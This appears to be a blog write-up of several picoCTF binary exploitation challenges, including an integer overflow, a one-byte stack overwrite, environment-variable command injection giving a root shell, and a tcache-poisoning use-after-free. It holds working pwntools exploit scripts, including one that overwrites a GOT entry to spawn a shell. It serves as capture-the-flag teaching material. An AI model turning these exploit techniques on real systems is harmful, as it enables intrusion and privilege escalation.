Note

TwoSum

image

The source code for the binary is given image image

Here’s what this code does

This C program prompts the user to enter two positive integers, adds them together, and checks for integer overflow. 
If an integer overflow is detected, the program prints a message and exits.
If no overflow is detected, the program prints a message and exits.

The vulnerability thats present here is integer overflow

Here’s the resource on it acunetix

So if we give it 2147483647 and 1 it will cause an integer overflow which will then make the program give the flag

Trying it remotely works image

BabyGame02

image

After downloading the binary the next thing i check was its file type and protections enabled on the binary image

So we’re working with a x86 binary and the only protections enabled is just No Execute (NX)

Using ghidra i’ll decompile the binary image

This is still the same binary as game01 but the only difference here is that after the user wins the game the win function isn’t called

  do {
    do {
      iVar1 = getchar();
      local_11 = (char)iVar1;
      move_player(&local_aa8,(int)local_11,local_a9d);
      print_map(local_a9d,&local_aa8);
    } while (local_aa8 != 0x1d);
  } while (local_aa4 != 0x59);
  puts("You win!");
  return 0;
}

After i took my time checking out what happens when the program runs and whats happening in the memory i found that at the calling of solve round+47 the value of the stack register esp will be the return address (address $eip is pointing to) image image image

$eip   : 0x080495b6  →  <solve_round+47> add esp, 0x10

It’s means that the eip is pointing to the solve_round function.

Now here’s what happen when the player moves around the game and we check the stack memory addresses

I’ll set a breakpoint at address move_player+212 image image image image image

So the player character @ is moving around the stack as we move around the game map

If we go out of bound in the game the program will crash because the $eip will try accessing an invalid address

Another thing we should take note of is that when we move round the memory it’s pointers on the stack is being modified

And since the eip is going to be pointing to solve_round whenever we use p, and also the solve_round uses the move_player function

So the eip will point to the esp

The idea now is that can we modify something useful to control the $eip so that we can get it to give us the flag

There’s a function given by the game we can allow us change character

So since the player character is moving round the stack, so its overwriting some values on the stack

But the problem is we can just overwrite the @ structure which only just overwrites the last value of an address of the stack

Now this is more of like a ret2win binary exploitation lets find a way to take control of the execution of the program

Since we can only overwrite the last byte so we need a similar address to the win() function we can overwrite

So after setting a breakpoint at *solve_round+47 image image image

Then on checking the stack, i got an address of the stack that looks very similar to the win() function image

We can see the similarity between the stack address 0x08049709 and the win function address 0x0804975d

Only one byte difference that makes it not the same as the win function address

Now next thing is that since while we move round the map and out of bound, the player character is also moving round the stack therefore overwriting bytes on the stack which makes the program crashes, the idea i think is that there’s a particular memory on the stack can be overwritten to the win function address.

And for this to occur the character needed to overwrite it is ] which will later turn to 5d in hex

And we know that the l function changes the player character to anything specified. So that means we can change our player character to ]

So basically we can control where this ] ends up as this 0x5d which is now the player so we can try and find the position on the map that is 89 bytes offset from that address that is close to the win function which is the stack address we got earlier

Using a script i made to move round the map and get the offset

#!/usr/bin/env python3

from pwn import *

context.log_level = 'warning'

for offset in range(40, 50):
    game = process('./game')

    game.sendline(b'l]')
    game.sendline(b'w'*4)
    game.sendline(b'd'*offset)
    game.sendline(b'wp')

    output = game.recvall()
    if b'testing' in output:
        print(f" offset: {offset}")
        break

    game.close()

I already have file flag.txt whose content is testing{fake_flag}

Running the script gives the offset to get to the win function image

Now i can get the flag by running

python2 -c "print 'l]' + 'wwww' + 'd'*47 + 'wp'"  | ./game

Trying that gets me the flag image

But using remotely doesn’t work image

After asking in discord people says the binary on the remote is different from the one given (at least its offset)

That made me then make a brute force script on the offset

#!/usr/bin/env python3

from pwn import *
import string

context.log_level = 'warning'

for i in string.printable:
    io = remote('saturn.picoctf.net', 54253)

    io.sendline('l' + i)
    io.sendline(b'w' * 4)
    io.sendline(b'd' * 47)
    io.sendline(b'wp')

    output = io.recvall()
    if b'picoCTF' in output:
        print(f"offset found {i}")
        offset = i 
        break

io = remote('saturn.picoctf.net', 54253)
io.sendline('l' + offset)
io.sendline(b'w' * 4)
io.sendline(b'd' * 47)
io.sendline(b'wp')
io.interactive()

Running it gives the flag image image

VNE

image

After connecting to the ssh instance it shows this binary file image

Running it asks to set the SECRET_DIR environment variable image

So i set it to /root image

And after running it, it shows the list of files in root directory

So its likely doing ls then getenv(SECRET_DIR)

I searched for command injection in environment variable and got Resource

Trying it works and we get shell as root image

HorseTrack

image

After downloading the binary i ran it to get an idea of what it does image

From the challenge description we can tell its a heap sort of challenge and its likely UAF since i noticed most pwn heap chall pico ctf brings are based on UAF

After playing with the binary and understanding it, I concluded that for us to exploit this binary we’re going to advantage of tcache poisoning with a UAF vulnerability

Here’s my exploit mechanism

1. add_horse() .. allocates buffer
2. remove_horse() .. frees buffer
3. move_horse() ...
4. And finally tcache poisoning attack to have malloc() return an arbritary pointer to a target memory location. Overwritting the free GOT entry with system with a horse named /bin/sh

Here’s my solve script

#!/usr/bin/env python3

from pwn import *

LOCAL = True  # Set to False to connect to the remote server

if LOCAL:
    r = process('./vuln')
else:
    r = remote('saturn.picoctf.net', 63578)

def edit_horse(idx, data, spot):
    r.sendlineafter(b'Choice: ', b'0')
    r.sendlineafter(b'Stable index # (0-17)? ', str(idx).encode())
    r.sendlineafter(b'Enter a string of 16 characters: ', data)
    r.sendlineafter(b'New spot? ', str(spot).encode())

def add_horse(idx, size, data):
    r.sendlineafter(b'Choice: ', b'1')
    r.sendlineafter(b'Stable index # (0-17)? ', str(idx).encode())
    r.sendlineafter(b'Horse name length (16-256)? ', str(size).encode())
    r.sendlineafter(b'characters: ', data)

def free_horse(idx):
    r.sendlineafter(b'Choice: ', b'2')
    r.sendlineafter(b'Stable index # (0-17)? ', str(idx).encode())

def race_horse():
    r.sendlineafter(b'Choice: ', b'3')

def exploit():
    # leak heap
    add_horse(0, 0x10, b'A' * 0x10)
    free_horse(0)
    add_horse(0, 0x10, b'\xFF')
    # fill system GOT
    for i in range(1, 5):
        add_horse(i, 0x10, b'X' * 0x10)
    race_horse()
    r.recvuntil(b' ')
    heap_base = u32(r.recvn(10).strip().ljust(4, b'\x00')) << 12
    log.info('heap_base: %#x', heap_base)
    r.recvuntil(b'WINNER:')
    # tcache list
    add_horse(10, 0x18, b'A' * 0x18)
    add_horse(11, 0x18, b'B' * 0x18)
    free_horse(10)
    free_horse(11)
    # change tcache bins to free GOT
    free_got = 0x404010
    edit_horse(11, p64(free_got ^ (heap_base >> 12)) + p64(heap_base + 0x10), 1)
    add_horse(12, 0x18, b'/bin/sh\0' + b'C' * 0x10)
    # change free GOT to system
    ret_gadget = 0x401E48
    system_plt = 0x401090
    payload = flat(
        p64(0),
        p64(system_plt),
        p64(ret_gadget),
    )
    add_horse(13, 0x18, payload)
    free_horse(12)
    r.sendline(b'cat flag.txt')
    r.interactive()

if __name__ == '__main__':
    exploit()

Runnig it locally works image

Running it remotely works also (set LOCAL=False in script) image




Enjoy Reading This Article?

Here are some more articles you might like to read next:

  • Google Gemini updates: Flash 1.5, Gemma 2 and Project Astra
  • Displaying External Posts on Your al-folio Blog
  • Statica — Bypassing AI Assistant Secret Masking
  • Ashwick
  • Snobble AI